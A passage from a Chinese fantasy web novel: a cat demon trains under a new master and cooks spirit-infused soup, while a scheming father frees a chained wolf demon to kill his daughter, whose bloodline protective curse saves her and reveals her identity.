衔蝉一激动,就没忍住在屋里乱窜起来,还顺爪把木头做的桌子椅子腿都挠了个花开富贵。 看她这亢奋的小模样,朔姨笑着摇了摇头。 唔,有了这么个大徒儿,以后她在峡谷里的生活一定会变得更有意思的。 “好了,乖徒儿,别挠家具了,过来,为师教你功法。” “来了来了!” 刚刚还满屋四射的猫马上跳到椅子上端端正正的蹲好,果然是个很好学的猫。 “把你爪子伸出来,我先看看你的根骨和底子怎么样。” 衔蝉乖乖的伸爪,让新鲜出炉的师尊捏了捏。 “不错不错,根骨上佳,就是底子没怎么打好,有些虚浮。” 衔蝉抖了抖耳朵:“嗯,那个,其实我们先前都是自学的,所以可能学劈叉了也不知道” 朔姨拍了拍她的脑袋:“没关系,这个可以重新练。” “你先前练的功法是什么?使两招出来我看看。” 衔蝉马上照着先前打架时的招式,用灵力汇聚成针,再将灵力针丢到椅子上,炸开。 砰的一声。 椅子腿当场被炸断。 “” “好徒儿,咱家就这一把椅子。” 衔蝉收爪,尴尬的舔了舔毛:“咳咳咳!对不起师尊,我太激动了。” “没事,下次别在家里练功,去外面练。” “好的昂!” 师徒两个果然到了外面。 衔蝉刚在屋里搞了破坏,这会正心虚呢,看到外面的锅灶就灵光一闪。 猫觉得自己应该做点什么补偿一下。 现在她的伤已经好得差不多了,应该可以重新化形了,那就化成人形,给师尊做一顿灵力大餐以示歉意吧! 毛绒绒的猫开始发光,身体逐渐拉长,在跌落悬崖小半个月后,首次显现出人形。 由于伤还没全好,因此头顶还有两只猫耳朵的衔蝉揉了揉肩膀,活动了一下许久没用的人形胳膊。 “师尊!我先去做饭了嗷!” 心里有点虚的猫一溜烟跑到土砌的灶台前,熟练的生火。 崖底没有铁锅,用的是一块掏空了的大石头做成的石锅。 衔蝉熟门熟路的在锅里倒了水,准备做一锅野菜汤。 但是家里的野菜干已经被她这个大胃王吃完了,现在只能去摘地里的新鲜野菜了。 好在这些天经过猫的口头指点,地里的野菜长得极好,一看就知道这次的收成会很喜人。 现在摘一些下来先吃着也没问题。 衔蝉跑到地里,挑着大颗的野菜摘了一大把叶子,还不忘用灵力重新催生一下摘秃了的野菜。 灵力微光一闪,野菜就重新生长出了叶片。 不过由于衔蝉给的灵力不多,野菜的叶片长得也不多,就几片,但比它原来的生长速度快多了。 猫风风火火的摘了菜去煮汤,没注意她师尊盯着她催生过的野菜看了好一会。 灶台边,衔蝉把一大把野菜丢进锅里,开始煮汤。 这些野菜虽然都不是她亲爪种的,里面不含什么灵力,但猫另有绝招。 她哼哧哼哧的把阳光里的灵力聚集起来,再丢进锅里,就像在东坡子洞里做大锅饭那样,煮了一大锅普通版灵力大餐。 “希望这个灵力大餐对师尊也有效!” 猫虔诚的祈祷了一下,然后才去拿了两个木碗,把清汤寡水的野菜汤舀了两大碗出来。 “师尊!开饭啦!” 第52章 尝了一口野菜汤后, 风朔一愣。 她仿佛有些不可置信的样子,又喝了一口汤,并闭上眼仔细咂摸了一下。 “师尊!怎么样!”衔蝉竖着耳朵, 期待着来自师尊的评价。 “这汤里居然真的有灵力!衔蝉, 你是怎么做到的?” 这不应该啊! 明明都是些普通的野菜而已! 她在峡谷里吃了十来年的野菜,这些野菜有没有灵力她再清楚不过了! 可是今天衔蝉亲手做的这碗野菜汤里竟真的有了灵力! 而且汤里蕴含的灵力还不少, 风朔估摸了一下,这碗汤几乎都快比得上一颗下品灵丹了! 问题来了, 衔蝉究竟做了什么,才把这普普通通的野菜做成了“灵丹”? 她亲眼看着她去地里摘菜,又去灶上煮汤,完全没发现她做了什么不一样的事情啊! 风朔三两口喝完碗里的野菜汤,对新收的小徒儿的来头更好奇了。 这个小家伙, 身上的秘密很多啊。 得亏是先遇见了她。 衔蝉可不知道师尊在想什么,她叉着腰嘿嘿一笑:“这个就是我的天赋!” 猫很得意的跟师尊竹筒倒豆子,告诉她自己的天赋就是会种灵植,会做灵力大餐。 “只要经过我的手的作物都能变成灵植!我还会做灵力大餐!” 风朔听得扶额叹息。 衔蝉不解:“师尊,你叹气做什么?我做的不好吗?” “好,你做的很好。可是乖徒儿, 有没有人教过你, 不要什么事情都跟别人说?” “你这些天赋如果被别人知道了,你会很危险的。” “如果我是坏人, 你现在已经被抓起来关进” “可是师尊不是坏人啊!”衔蝉打断风朔的话。 猫信心满满:“我看人还是很准的,好人和坏人,我都能看得出来!” 比如风妧和林时吧,虽然这是一对亲父女,但猫就是直觉林时是坏人, 风妧是好人。 后面事实也证明她没看错。 所以猫可以很自信的说,她的新师尊肯定也是个好人! 风朔听着猫的自信发言,无奈笑叹一声。 “你呀算了,以后这些事情尽量不要再让更多人知道了,明白了吗?” “就算这是你的天赋,也别拿出去到处说,不然你会遇到危险的。” “灵力对修炼的人和妖有多重要你应该也知道,要是这事暴露了,你以后就别想有安生日子过了。” 不是每个妖都能有这种天赋的。 衔蝉自己可能觉得随手丢点灵力团子在锅里是一件很简单的事情,但实际上不是这样的。 如果灵力那么好收集,又那么容易融进食物或者别的什么东西里,那人和妖都不用费尽心思的修炼了。 直接把灵力融合进食物里,还能保证它不散去,甚至进入身体后还能被人体吸收,这简直不可思议。 放在人类那边,这是只有高阶炼丹师才能做到的事情。 并且就算是炼丹师,也没法把普通植物炼成灵丹。 衔蝉这个天赋几乎可以说是在作弊了。 这种惊世骇俗的能力,瞬间就让风朔联想到某个只在传说中出现过的至宝。 但那件宝贝早已随着其主被一同封印镇压,至今已有数百年,所以它应该跟衔蝉没什么关系。 大约真的只是衔蝉天赋异禀,或者是个巧合吧。 “不管怎么说,总之你以后不要再随意跟人说你有这个天赋了。” “我知道的!”衔蝉一脸机灵相的跑到师尊的椅子边蹲下,伸着脖子让她摸猫头。 风朔顺手揉了揉毛绒绒的猫耳朵。 “嗯?你的耳朵摸起来好厚实啊,不太像猫耳朵?” 衔蝉抖抖耳朵:“啊?” 她歪头:“我是猫啊。” 猫的耳朵肯定是猫耳朵啦,有什么问题吗? 风朔又摸了两下猫耳朵,再看看蹲在旁边有老大一只的人形大猫,若有所思。 不应该啊。 猫妖化形,一般来讲都不会太高的。 但她这小徒儿的人形却异常高挑,要不是知道她的跟脚,她一定会往大型猛兽身上猜。 “看来你的血脉,很不一般啊。”风朔拍了拍猫头,开玩笑道:“或许是个小老虎也不一定。” 衔蝉:“欸?老虎也不错!但猫也很好!” 反正她对自己的跟脚是很满意的! 风朔笑了。 “对,猫也很好。” 不再细究这个毛绒绒的问题,师徒两个又讲话题转向别处。 “师尊,你还喝汤吗?我煮了好大一锅呢。” “嗯,好,你自己也盛一碗吧,这个汤你做得很好,多喝点没有坏处。” 衔蝉应了一声,屁颠屁颠的跑去给师尊舀汤,她自己也端着碗站在灶台边咕嘟咕嘟。 还别说,加了灵力的菜汤就是更好喝些。 野菜原本的苦涩味降到了最低,汤汁里也多了一丝清甜,喝进肚子里暖呼呼的,浑身都舒坦了不少。 一大锅汤,被师徒两个一口气喝了个干净。 饭后,风朔把衔蝉叫到屋外,继续给她授课。 她见衔蝉使用灵力的法子十分简单粗暴,便细细的教她正确的灵力运行方式。 她把各处经脉节点都教给猫,然后让她顺着经脉运转灵力。 “虽然人和妖的先天基础不一样,但在灵力的运用上是大差不差的。” “而且你已经能化人形了,人的大部分功法对你而言也是合用的。” “现在我教你的是风氏蕴灵法,这套基础功法” “啊?风氏蕴灵法?!”衔蝉惊呼一声,“这个我会啊!” 风妧从家里偷出来的那本基础功法就是这个名字! 她们俩后来就是照着书上的法子修炼的! 难怪刚刚师尊教她的时候她感觉怎么有点似曾相识呢! 猫十分好奇:“师尊,你怎么也会风氏的功法?你也是风氏的人吗?” 风朔微微一笑:“为师没有告诉你吗?我姓风名朔。” 衔蝉:“哇!那你是不是也跟风妧是一家的!缘分呀!” 风朔的笑意一顿。 她没回答猫,而是让她继续修炼。 “你既然学过风氏蕴灵法,那就更好了,不过你先前学得有点歪了,重头再来吧。” 指出了猫在自学过程中学劈叉的几个点,风朔在心里暗暗叹息。 衔蝉,风妧 这两个孩子本不该过得这样苦。 连一本基础功法都没有师长教导。 风朔越想越痛心,但看了看自己无知无觉的双腿,她也无可奈何。 她也在等,等到能出去的那一天。 再看看天赋极佳的徒儿,风朔定了定神。 有她在,那块岩壁应该用不了多久就能凿开。 或许她就是她苦苦等待了十几年的转机。 * 山下平安镇,风府。 林时在大厅里来回踱步,神色惴惴不安。 “她怎么会有那块玉佩她是从哪拿到的那块玉佩?!” “难道她真的知道了?不,不行!不管她知不知道,都不能再让她开口了!” 林时一咬牙:“风妧啊风妧,你不要怪为父心狠,要怪就怪你自己不听话!” 如果不是她逃婚,后面也不会惹出那么多事。 她要是老老实实的嫁去谭家了,他哪里还用得着天天提心吊胆! 现在好了,她不仅捅出了这么大的篓子,居然还不知道从哪里找到了那块玉佩! 这下可留不得她了。 林时下定了决心。 不久后,他独自一人从风府后面出门,趁着夜色,从小南峰的另一面上了山。 小南峰上的阵法早已被风氏的人悉数破坏,因此林时上山走得很顺当。 他从小南峰一路潜行到东山的另一座隔壁山头,并在罗盘的指引下,走进了一个杂草丛生的山洞。 他刚走进去,山洞里就传出一阵让人牙酸的金属碰撞声。 还夹杂着一阵一阵的兽吼。 林时攥紧手里的护身符,又隔着衣服摸了摸脖子上挂着的防身符箓,定了定神。 山洞里,一双血红的眼睛直勾勾的看向林时。 低哑粗粝的声音有些别扭的说着人话:“哟,什么风把您老也给吹来了。” 两排锋利的獠牙龇开,山洞里的妖张嘴讥讽:“你又来做什么?终于找到办法要杀妖灭口了?” 他一动,身上缠绕的锁链就跟着晃动起来,把他的爪子和脖子都勒得更紧了。 狼妖喘了几口粗气,心里恨不得把来人撕碎吃下肚,但又迫于现实,不得不向他低头,只能在嘴上刺他两句。 但林时却不以为意。 他看着被无数条锁链定在石壁上的狼妖,顿时安心不少。 那个人给他留下的保命法宝还是好用的。 这么多年过去了,依然把狼妖锁得死死的。 林时:“你被关在这里这么多年了,想出去吗?” 狼妖剧~烈挣扎起来:“出去,你会放我出去吗?!” 林时冷笑一声:“我这里有个交易,你做不做?” 狼妖反问:“做了你就放我出去?” 林时点点头又摇摇头:“如果你做得好的话。” 狼妖喷出一口腥风:“说吧,要我做什么。” 林时眸光一暗:“我要你帮我杀一个人。” 他拿出一根风妧带过的簪子:“这是她的信物,你记住这个味道。” 狼妖嗅闻了一会,忽然哈哈大笑。 “又是差不多的味道!哈哈哈哈!你们人类真有意思!” “你们骂人就说什么狼心狗肺,可我们狼却从不背叛呃!” 林时冷着脸,往狼妖的锁链上拍了一张符纸,锁链上瞬间冒出尖刺,把狼妖没说完的话硬是刺了回去。 “少啰嗦,做不做?” 狼妖等林时扯掉符纸,锁链上的尖刺缩回,才粗粝的怪笑了一声。 “做啊,怎么不做。” 反正死的也是这个人类的亲眷。 他杀不了他,杀他几个家人也不错。 林时得到想要的回答,这才上前,顺着锁链的根部,摸到机关,再照着秘法拨动机关,放开了几条锁链。 狼妖的四肢依次被放了出来。 只剩下脖子上还套着一串最粗的链子。 “如果你不老实的话,最后这根锁链依然能把你再锁一百年,但如果你乖乖配合,我就帮你解开它。” 狼妖活动了一下四肢,嗤笑了一声。 “知道了。” “我一定会杀了你的家人的,放心。” 林时对狼妖的阴阳怪气置若罔闻,又叮嘱道:“山上现在有大玄师坐镇,你最好小心一点。” 狼妖:“大玄师?有几个?” “三个,不过你放心,我会想办法引开这三个大玄师,你再趁机动手。” 林时再三嘱咐:“动作一定要快!一定要一击毙命!” 狼妖弹出几根锋利的爪尖,吹了吹:“行。” * 东山上。 风氏的人左等右等,也不见风妧口中的挚友回来,不耐烦了。 “你是不是在诓我们?!”风梓大为恼火。 风妧理直气壮:“我诓你们干嘛!衔蝉就是没回来啊!我还要问你们呢,你们是不是偷偷把她给抓走了?!” “她这么久都没回来,肯定是遇到危险了!你们说!是不是你们干的?!” 风梓差点气死。 “你居然还倒打一耙!” 他气极,当场就要翻脸动手。 虽然他们是定了灵契不能进犯这几座山头,但契约里又没说不能打这个野丫头! 她是人,又不是这座山上的妖!不在契约保护范围内! 风梓正要动手,却见林时又带着人过来了。 风梓本来不想理他,但林时走近一步,在他耳边说了什么,风梓立刻瞪大了眼睛。 “真的假的?!你没骗本少爷吧?” 林时苦笑摇头:“我怎么敢骗风氏的人。” 说着就拿出一小段板蓝根,递给风梓。 风梓把板蓝根丢进嘴里嚼了嚼,瞬间就亮起了眼神。 果然是好东西啊! 即便在天都风氏,这种品级的灵植也是不多见的,像他这样的嫡支子弟,每个月也就能分到区区五颗。 要是能多捞一点,哪怕只是多捞一颗,也是是稳赚不亏的! 风梓十分心动,但他还保持了几分理智,问林时:“有这样的好东西,你没想过私藏?” 他上下扫了两眼林时。 这个赘婿虽说根骨已废,但灵植这种好东西,哪怕是凡人,吃下去也是有益的。 以己度人,风梓觉得如果自己发现了有这样的好东西,他肯定会藏着掖着的。 林时却一脸坦然:“我虽然没入风氏族谱,但好歹也进了风府的门,算是半个风氏的人吧。” “风氏是我的靠山,风氏越好,我才会越好,这道理我还是懂的。” 他一副深明大义的样子:“其实我本来想直接上报的,但一直没找到那块宝地在哪,不敢乱报,这才没说。” 风梓一听就信了大半,又问:“那你现在查到那块宝地在哪了?” 林时点点头:“我查了许久,这两天才查到大致范围,约摸就在这方圆百里之内。” “若是能找到那块风水宝地” “若是真能找到那么多灵植,就分你一成!”风梓不耐烦的打断林时。 林时的脸色扭曲了一瞬,但很快又调整好表情。 他低眉顺眼的答道:“那就多谢风三少爷了。” 风梓马上扭头,把三个大玄师招过来。 “你们几个跟我走,这里先放放!” 三个大玄师有些迟疑。 风梓啧了一声,低声跟他们说道:“要是真能找到那些灵植,咱们可以不上报。” “反正这块地界贫瘠得很,想来灵植也不会多,咱们自己留着不报,长老们也不会说什么的。” 这么一说,三个大玄师的眼神就有些动摇了。 他们虽然是风氏本家的大玄师,但风氏内部的竞争也是很激~烈的。 能多攒点私人资源总是好的。 而且林时拿出来的这颗灵植品级确实不低,像他们这样的大玄师吃下也是会有一点助益的。 虽然助益不多吧,但有总比没有好。 再说了,如果灵植够多,质量不够数量来凑,也不是不行。 三个大玄师互相对视一眼,很快就打好了主意。 不久后,林时带着风梓和三个大玄师,离开了东山。 东山上就只剩下一些留守的风氏降妖师,风妧,以及东坡子洞里的小妖们。 风妧坐在山顶的大石头上,远远地看着风梓带人离开,还有点纳闷。 不过她也不是很慌。 因为这些天她已经让白三姑带着小妖们陆续把小泉峰上的所有灵植都给藏到地下去了。 现在这几座山头上都只剩下一些普通的田地和搬不走的竹屋,几乎没什么值钱的东西了,完全不怕搜。 她叼着狗尾巴草,继续跟风氏的降妖师们大眼瞪小眼。 忽然,一声狼嚎打破了宁静。 所有人和妖都下意识的顺着声音的来源看去。 地面微微震颤,一只脖子上缠着锁链的巨大黑狼咆哮着从山林里冲了出来。 直奔风妧。 风妧吓了一跳,连忙跳起来躲开。 风氏的降妖师愣了一下,才连忙一拥而上,拦住狼妖。 因为风妧还有用!不能让她死了! 至少在问清玉佩主人的下落之前,她都不能死! 风氏的降妖师们抄起武器,骂骂咧咧的将风妧护在身后。 但那狼妖却像是吃错了药一样,硬是要往风妧那边冲! 风氏的人边打边骂:“你是从哪招惹到的疯妖?!” 风妧大声喊冤:“我根本不认识他啊!” 她左突右闪的躲避着狼妖,心里也是十分的迷茫。 这玩意儿她见都没见过,干嘛一副跟她有仇的样子,只冲着她一个人来?! 狼妖又咆哮一声,竟硬生生受了降妖师们的好几记攻击,仍然向风妧扑去! “不好!这东西恐怕已经是妖王级别的大妖了,咱们恐怕不是对手啊!快撕传讯符通知大玄师!” “真是见鬼!你把他的崽儿给掏了吗他这么恨你!” “我冤啊!我哎哟!等等!三参!你们要干嘛?!” 风妧大吃一惊:“你们快回来啊!” 三参和小狐狸却不听风妧的话,带着战斗小队的妖就闷头冲了上去! 风妧是大家的朋友,大家不能看着她被攻击! 小妖们扛着刀剑就往战斗圈里冲,跟风氏的降妖师们并肩作战。 她们的实力虽然不如风氏的降妖师,但所有小妖众志成城,又熟悉山上的地形,竟也跟人类联手,暂时牵制住了发狂的狼妖! 在众人众妖的围攻下,狼妖很快就负伤了。 他身上的伤口淌着血,但他却像感觉不到痛一样,继续在人群和妖群里追着风妧杀! 风妧被撵得上蹿下跳,要不是打不过他,真想跟他拼了! 而狼妖确实凶悍,那么多人和妖居然也没能拦住他,在缠斗半刻钟后,竟让他找到了机会,扑到了风妧面前! 风妧大惊失色,急忙要躲,但狼妖的爪子都已经伸到她眼前了! 看着狼妖锋利的爪勾,风妧咽了咽口水。 这一爪子下去,她不得东一块西一块的啊! 可就在此时,一道白色的身影从风妧背后跳出来,像闪电一样,一脚踢开了风妧,自己迎上了那只巨大的狼爪。 砰的一声闷响。 电光火石之间,风妧只来得及一把抱回了想要为自己挡爪子的小狐狸,什么都没来得及看清。 她扯着小狐狸的后腿硬是把她拽了回来,并牢牢的按在自己怀里。 她自己的后背就那么暴露在了狼妖爪下。 但闷响之后,风妧却没感觉到多少痛意。 她有点庆幸又有点不解的转头看了一眼。 “嗷!!!” 狼妖抱着爪子在地上翻滚,刚刚还威风凛凛的大爪子现在用一种很扭曲的姿势弯折着,显然是断掉了。 风妧顿时长舒一口气。 她想了想,心有余悸的朝风氏的降妖师们道谢:“多谢多谢!这救命之恩我必不相忘!” 然而风氏的降妖师们却目瞪口呆的看着风妧。 “你你你,你到底是什么人?!” 风妧:“啊?” 她自己刚刚转过身去护着小狐狸了,也就没看见从她身上爆发出的那一阵刺眼的白光。 白光中,数道巨大的咒文首尾相连,组成了一面流光熠熠的盾牌,护住了风妧。 而那狼妖就是一爪子打在了符文盾上,被折断了爪子。 风氏所有人都看得清清楚楚,那面符文盾上,分明有一个张牙舞爪的风氏族徽! 那是风氏的血脉禁咒! 每一个在族谱上的风氏后裔,都会在出生时,由风氏长老亲手刻下的保护咒! “你,你也是风氏的人?!”风氏的降妖师们恍然大悟:“难怪你会有玉佩!” 那人肯把玉佩交给她,恐怕也是看在她是自家小辈的份上吧。 这么说来,她知道那人的下落就显得更可信了! “但是,你是风氏的哪一支?我们怎么没见过你?” 风妧持续茫然中:“啊?” 她指着自己的鼻子:“我?风氏?” 她不是一直遮掩得挺好吗,他们这是怎么发现的? 风氏的降妖师啧了一声:“你身上的血脉禁咒都出来了,还是嫡支的,就别装不认识了吧?!” “非我族裔,绝无此咒!” “快说,平安镇风府家主,跟你是什么关系?” 风妧头顶冒出了一串问号。 看来她的身份的确暴露了,所以她到底要不要承认呢? 第53章 风妧正在琢磨要不要承认自己的身份呢, 收到传讯的三个大玄师就拎着风梓和林时回来了。 灵植很重要,但灵植又不会跑,所以还是这边这个会跑的消息更重要些。 他们一回来, 就看到了狼妖。 只需要一眼, 大玄师们就能判断出,这家伙的法力至少相当于地师级别的降妖师! 风梓瞪着双眼:“好你个孽畜!就是你害了阿妧表妹吧?来人!杀了他!” 这些天他们一直没能找到“被妖怪抓走的风妧”, 便都以为风妧已经遇害了。 他们之所以还继续留在这里,只不过想继续追查玉佩主人的消息罢了, 风妧本人都快被遗忘了。 但现在一看到这个狼妖,风梓这才想起他们来平安镇的最初目的。 为了表示一下自己对同族的大义,也为了顺利完成这次任务,风梓毫不犹豫下令杀了狼妖。 三个大玄师犹豫了一下,但还是掏出法宝和武器, 冲了上去。 他们跟狼妖缠斗时,风氏的降妖师们便着急忙慌的跟风梓汇报。 “三少爷!这家伙也是咱们风氏的人!还是嫡支的!她刚刚身上露出了咱们的血脉禁咒!” “而且那禁咒等级似乎比您身上那个还高!” 风梓闻言大惊。 血脉禁咒等级比他还高?!不可能吧! 风氏用来保护小辈的血脉禁咒确实分等级,一般来说是血脉越纯粹,越是嫡支直系,身上的保护禁咒等级就越高。 风梓已经是嫡支里最直系的家主一脉的子弟了,他身上的血脉禁咒几乎是风氏等级最高的了! 除了长老们早已看好的未来家主人选之外, 可以说同辈里就没有比他身份更尊贵的了! 可这人是怎么回事? 风梓的脑子急速转动着, 努力回忆风氏里还有谁能有比他等级更高的保护禁咒。 等等,平安镇上好像就有一个。 风妧。 她的情况很特殊, 她并没有被长老们选中,甚至都不是在风氏本家出生的,但她有一个十分彪悍的娘。 风妧她娘不需要长老们同意,她自己就能给风妧打下那种级别的保护咒。 因为她娘就是那玉佩的主人,是风氏曾经力压八大世家的绝世天才, 板上钉钉的风氏下一任家主。 但风妧不是已经遇害了吗? 风梓的脑子乱成一团浆糊。 他正想不明白呢,旁边的林时却脸色煞白。 狼妖失手了! 风妧身上居然有血脉禁咒! 她的身份马上就要暴露了! 他指尖颤抖,额头上也冒出一层细密的冷汗。 更让他如坠冰窟的,是风妧在听到风梓那一声“就是你害了阿妧表妹”之后,小声嘀咕了一句话。 风妧纳闷:“谁害了我?我这不是好好的嘛?” 她声音很小,但风氏的三个大玄师都听到了! 那三人虽然忙于跟狼妖缠斗,但听到风妧的喃喃自语后立马朝风梓喊道:“她就是风妧!” 风妧:“” 哦豁。 林时两眼一黑。 风梓却脸色一喜,连忙换了副表情快步上前:“阿妧表妹?!你就是阿妧表妹?!” “你这些天为什么不告诉我们你的身份?”他嗔怪道:“你耍得我们团团转啊!” “不过都不重要了!你娘她去哪了?她终于回来看你了吗?!” 风妧抱着小狐狸后退一步,躲开了风梓。 “我娘的事你们先别管,你先说你们来山上是干嘛的?!” 风梓一拍大腿:“我们是来救你的啊!” “你不是被妖怪抓走了吗?林时就写信让我们来救你啊!” 风妧吃惊的看向林时。 她不是留了纸条说自己是主动逃婚的吗! 所以他究竟想干嘛! 把风氏的人骗来山上对他有什么好处等等! 一道惊雷从风妧脑子里划过。 灵植! 她瞬间想通了什么。 她恼怒的质问林时:“爹!你究竟想做什么!我不是给你留了信说了我是自己逃婚的吗!你为什么要骗风氏说我被妖怪抓走了?!” “你是不是!是不是想” 是不是想借风氏的手铲除山上的小妖,好坐收渔利? 但风妧话未说完,风梓就跳了出来:“逃婚?什么逃婚?!” 他大叫:“本家长老们确实最近有考虑过这事,但这不是八字还没一撇吗!你逃的是哪门子婚?!” 风妧:“就谭家啊,你们不知道?” 风梓扭头看向林时,瞬间冷下了脸:“什么谭家?!” 林时汗如雨下。 他哆嗦着嘴唇,一时之间竟说不出话来。 但他不说话,风梓就已经脑补完了全过程。 他当场跳脚:“好你个老东西!居然敢背着风氏给阿妧表妹定亲?!你把我们风氏当什么了?!” “我早就说过了,你这种赘婿都是不安分的!” “你什么身份,也敢染指阿妧表妹的婚事?!” 风氏众人也一脸怒色,纷纷怒视林时。 风妧这才回过味来,谭家那门亲事,是她爹私自给她定下的? 可他图什么呢? 脑子里一团乱麻,风妧其实心里已经猜到了些什么,但她实在不愿意深想。 面对风氏的诘问,林时摇摇欲坠。 他看了看风梓,又看了看风妧,再看了看狼妖,随后就像是要晕倒一样,朝着狼妖那边倒去。 倒下时,还用缩在袖子里的手捏碎了一张小小的令牌。 无人注意的流光在林时手里一闪而过,狼妖瞬间发狂! 他双眼彻底变成了血红色,浑身也浮现出无数条灰黑的筋脉,竟是当场狂化了! 狂化的狼妖战斗力暴增,脖子上还套着限制法力的锁链,竟也一举打翻了三个大玄师! 他的妖力在狂化下恢复了七八成,三个大玄师都制不住他! 但他自己也失去了理智,像疯了一样谁靠近就杀谁。 而现在离他最近的,就是自己倒过来的林时! 狼妖的獠牙呼啸着要扑咬过来时,林时声嘶力竭的大喊道:“阿妧!!救我!!” 风妧看着这一幕,脑子一片空白。 她的身体下意识的就动了,冲过去,挡在了林时身前。 这一次,风妧终于看清了自己身上的血脉禁咒。 无数符文从白光中爆出,将狼妖这必死的一击翻倍返还给他。 受到反噬的狼妖噗的喷出一口鲜血,竟当场气绝身亡! 林时终于软软的倒了下去。 风妧连忙扶住他:“爹!!” 再怎么说,这也是她爹。 她虽然心里已经猜到了一些不好的东西,但她总不能眼睁睁看着他去死。 林时虚弱的靠在风妧身上,低声说道:“阿妧,别怪为父,爹也只是想让你幸福” 风妧一把捂住他的嘴:“别说了,这事我们都别说了。” 就当这事没发生吧。 她不想再跟林时计较这些,但风氏的人却不肯轻易放过林时。 “你起来!说清楚!那个什么谭家究竟是怎么回事!”风梓跳出来,指着林时的鼻子问。 风妧长叹一声,替林时解围:“别问了,那门婚事已经不作数了。” 她都跑了,还顺带把自己的嫁妆都扛走了,风府也没损失什么。 风梓瞪着眼睛,似乎还想再骂几句,但三个大玄师却收起武器,走过来把风妧拉起来。 他们急切的追问她:“你娘回来了吗?她现在在哪?她为什么不回本家?” 风妧心想,我哪知道。 但她现在明白她娘的下落就是拖着风氏不再进犯东坡子洞的法宝,所以无论如何她都不能说不知道。 她只能含糊的说:“我还是那句话,等衔蝉回来了我再告诉你们。” 她搀扶着的林时见她吞吞吐吐,心里顿时又安心三分。 林时颤巍巍的站起来,轻轻地拉了拉风妧的袖子。 “阿妧,我们谈谈,好吗?” 他在对着风妧说话,看着的却是风梓。 风梓一拍脑门:“行吧,你们谈,慢慢谈,我们回避一下。” 他还以为林时要劝风妧说出她娘的下落呢。 于是他就很自觉的带着风氏众人退至数十米外,把场地留给风妧和林时。 东坡子洞的小妖们见状,也默默地退回竹屋里,只悄悄地竖起了耳朵。 这一片真空地带就只剩下风妧和林时了。 林时一把握住风妧的手,声音颤抖的问道:“阿妧,那个玉佩,你是从哪里得到的?” 他眼眶泛红的追问:“你你见过你娘了?你在哪见到的她?她,她跟你说什么了没有?” 风妧沉默了一会。 其实这个玉佩是她娘在走之前给她留下的。 当时她还小,抓着她娘的玉佩不撒手,她就顺手把它解下来,留给了她。 之后见她一直很喜欢这玉佩,她就干脆把它也一起封在了那些她给风妧留下的考验机关里。 “阿妧要是喜欢娘的玉佩的话,以后就努力跟娘学本事吧。” 她笑吟吟的说:“等将来阿妧学会破阵了,这个玉佩就归你了。” 那时候连牙都没长齐,但生来就有记忆的小风妧就一脸好奇的看着她娘把玉佩封在了她的“考题”里。 后来她娘走了,风妧就一直琢磨着偷偷学本事,想把她娘给她留的考验全部通过了。 不过她的偷学之路很是艰辛,直到前不久,她从藏书阁里偷出了风氏的功法,才逐渐自学了些真本事。 也是那之后,风妧才尝试着去解开了她娘留在她房间里的机关。 所以这个玉佩她也才拿到不久。 现在林时问起来,风妧也不知道该怎么说。 她不想让他知道自己一直在偷学家传本事,更不想让他知道她娘其实给她留了很多东西。 风妧下意识的觉得有些事情不能告诉林时。 于是她沉默以对。 林时却急了,抓着她的肩膀连连追问。 风妧被问得没法了,推开他:“哎呀你别问了!我还没问你呢,你干嘛要骗风氏的人来这山上?!” “你明知道我没事,干嘛还要跟风氏的人说我被妖怪抓走了?!” 林时瞬间没了刚刚追问风妧的劲头。 “阿妧有些事情为父不是不想跟你说,而是说了对你有没什么好处。” 这下轮到林时含糊其辞了:“反正,爹又不会害你。” 风妧却反问道:“是吗?那谭家是怎么回事?” “别说什么想让我幸福之类的屁话,我不是小孩子了,有些事情你不说我也猜得到。” “你背着风氏把我嫁去谭家,打的是什么主意?” “你就是不想让我留在家里,对吗?” 风妧越问越尖锐:“因为你想要林路继承风府,想要让风府改姓,对吗?” “住口!”林时恼羞成怒:“你知道你在说些什么吗?” 风妧定定的看着他:“我在说些什么,你不知道吗?” “你连三代还宗都等不及,就让林路跟你姓了不是吗?” “荒谬!”林时怒道:“你以为我不想让你弟弟姓风?!是风氏的人不肯收他!” 他似乎也积累了一肚子怨气:“是,你弟弟确实没有风氏血脉,但你娘都走了,风府总要有个主人吧?!” “你一个女孩子,迟早要出嫁的,我要是不娶续弦给你生个弟弟,以后你嫁人了,谁给你撑腰?!” 风妧不可置信的睁大眼睛:“你是这么想的?!女孩子就不能继承风府?那我娘算什么?!” “我娘都能招你进风府的门,那我也可以像她一样啊!” “闭嘴,闭嘴!!”林时大怒道:“你懂什么!你懂什么?!” 他暴跳如雷,风妧这才意识到自己说错了话。 因为林时平时最忌讳的就是他的赘婿身份,她今天也有些激动了,不小心就戳到他的心窝子了。 风妧叹了口气,忽然觉得一切都好无趣。 “算了。”她自嘲的笑了笑:“这事就这么算了吧。” “我不问了,你也别问了。” “至于我娘的下落,在衔蝉没有回来之前,我是不会说的,你死心吧。” “你也死心吧!你娘不会回来了!她不会再回来了!”林时声嘶力竭的大喊道。 风妧摇摇头,站起身,离开。 她不再管身后的林时怎么跳脚,径自推开山上的木屋,问白三姑:“衔蝉怎么还没回来?” 小妖们见她眼眶发红,声音也有些哽咽,连忙将她围在中间。 “这些天我们一直在到处打听大王的下落,但从山上到山下,都没有她的消息。” 一说到这个,小妖们就唉声叹气。 大王这么久了还没回来,大家都快急疯了。 白三姑和三参阿琅一直在派小妖去各处寻找衔蝉的下落,但这么多天一无所获。 “现在,只有蛮牛那边我们没有去仔细搜寻过了。” “可是那边妖太多了,我们也很难去查。” “而且蛮牛一直想来攻打咱们这,要不是有小泉峰的阵法拦着,他早打进来了。” “他要打就打!”风妧现在心里正是气不顺的时候,当即站起来:“我们奉陪到底!” “打完他们,再逼问衔蝉的下落!” “衔蝉是在他的地盘上失踪的,肯定跟他有关系!” 白三姑连忙拉住风妧:“可是咱们妖少,打不过蛮牛妖王啊。” 要不是打不过,她们早杀去蛮牛地盘上地毯式搜寻衔蝉的下落了。 风妧呼出一口气:“光凭我们是打不过,但这不是还有风氏的嘛。” “我们让他们去帮忙打蛮牛!” “可是,他们会同意吗?” “管他呢!先试试吧!”风妧撸起袖子:“我先去跟他们说说!” 说着,她真去找风梓一行人了。 风梓一听,就一脸不可置信,他指着自己的鼻子:“我们?你让我们去帮那些小妖打另一个山头的妖?!” 风妧理直气壮:“啊,你们难道不是降妖师?降妖师去降妖,有什么问题吗!” 风梓:“那这么说我们岂不是应该先把这山上的妖给降了嗷!你推我|干嘛!” 风妧怒视他:“我说了不许你们动东坡子洞里的妖!她们都是我朋友!” 